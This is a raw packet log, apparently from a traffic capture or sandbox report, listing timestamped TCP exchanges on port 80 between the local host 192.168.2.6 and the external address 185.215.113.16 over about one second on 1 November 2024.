Nov 1, 2024 03:46:11.624031067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.624042034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.624077082 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.624614000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.624625921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.624659061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.625057936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.625070095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.625080109 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.625106096 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.625121117 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.625958920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.625971079 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.625981092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.626004934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.626024961 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.634741068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.634805918 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.634888887 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.634937048 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.664900064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.664992094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.665569067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.665580988 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.665625095 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.691701889 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.691803932 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.691864967 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.691876888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.691924095 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.692414045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.692426920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.692465067 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.692893982 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.692909956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.692941904 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.692965031 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.693466902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.693478107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.693487883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.693511963 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.693522930 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.694408894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.694421053 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.694449902 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.740387917 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.740449905 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.740516901 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.740529060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.740559101 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.740571976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.741226912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.741239071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.741275072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.741569996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.741579056 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.741594076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.741611958 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.741626024 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.742213964 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.742224932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.742234945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.742261887 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.742285013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.743128061 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.743139982 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.743149042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.743160009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.743175030 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.743200064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.744055986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.744067907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.744077921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.744088888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.744100094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.744112015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.744138002 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.782851934 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.782896042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.782907009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.782912016 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.782932997 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.782947063 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.809678078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.809762001 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.809854984 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.809866905 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.809921980 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.810218096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.810230017 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.810269117 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.810802937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.810813904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.810823917 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.810851097 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.810863972 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.811690092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.811733007 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.811906099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.811950922 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.812216997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.812227964 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.812237024 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.812262058 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.812282085 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.858306885 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.858403921 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.858441114 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.858453989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.858489037 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.858982086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.858994007 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.859035969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.859493971 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.859504938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.859549046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.860033989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.860044956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.860071898 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.860477924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.860490084 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.860501051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.860528946 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.860538960 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.861382961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.861394882 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.861407995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.861428022 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.861464024 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.862142086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.862154961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.862165928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.862191916 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.862212896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.900788069 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.900860071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.900887966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.900933981 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.900954008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.901036978 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.901258945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.901269913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.901333094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.927607059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.927701950 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.927748919 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.927822113 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.927828074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.927897930 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.928070068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.928081989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.928093910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.928117037 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.928138971 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.928906918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.928925037 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.928963900 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.928963900 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.929467916 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.929481983 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.929516077 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.929529905 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.930018902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.930031061 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.930041075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.930046082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.930082083 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.930099010 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.976236105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.976387024 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.976393938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.976407051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.976449966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.976491928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.976950884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.976963043 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.977003098 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.977586031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.977600098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.977646112 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.977981091 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.977992058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.978003979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.978029966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.978063107 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.978956938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.978970051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.978980064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.978996038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.979018927 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.979053020 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.979820013 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.979831934 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.979842901 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.979854107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:11.979876995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:11.979895115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.018934011 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.018990993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.019004107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.019042969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.019098043 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.019448996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.019463062 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.019501925 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.045665026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.045783043 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.045799017 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.045804977 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.045886993 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.046200991 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.046261072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.046365976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.046377897 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.046387911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.046416998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.046441078 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.047157049 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.047177076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.047188997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.047203064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.047204018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.047221899 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.047234058 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.048008919 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.048022032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.048058987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.094230890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.094290018 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.094329119 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.094341993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.094374895 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.094620943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.094633102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.094666958 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.095145941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.095155954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.095166922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.095202923 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.095268011 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.095719099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.095730066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.095740080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.095766068 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.095788956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.096476078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.096488953 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.096499920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.096523046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.096549034 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.097070932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.097081900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.097091913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.097115040 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.097138882 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.097915888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.097928047 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.097965956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.136718988 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.136781931 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.136790991 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.136801958 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.136838913 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.137062073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.137073994 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.137110949 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.137391090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.137434959 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.163544893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.163599968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.163624048 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.163666964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.163688898 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.163731098 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.163955927 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.163968086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.164016962 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.164016962 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.164017916 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.164053917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.164614916 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.164665937 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.164767027 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.164783001 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.164813042 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.165066004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.165077925 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.165090084 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.165117979 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.165143013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.165632963 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.165644884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.165656090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.165684938 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.165707111 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.206952095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.207026958 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.207442999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.207484007 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.212790012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.212842941 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.213079929 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.213093996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.213130951 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.213485003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.213499069 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.213510990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.213534117 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.213546038 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.214118958 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.214131117 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.214142084 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.214169979 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.214196920 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.215009928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.215022087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.215034008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.215061903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.215079069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.215502977 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.215516090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.215526104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.215553999 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.215572119 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.216228962 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.216240883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.216269970 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.216284037 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.254558086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.254647017 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.254688978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.254699945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.254726887 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.254746914 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.254956961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.254967928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.254983902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:12.254997015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.255014896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:12.255034924 CET	58524	80	192.168.2.6	185.215.113.16
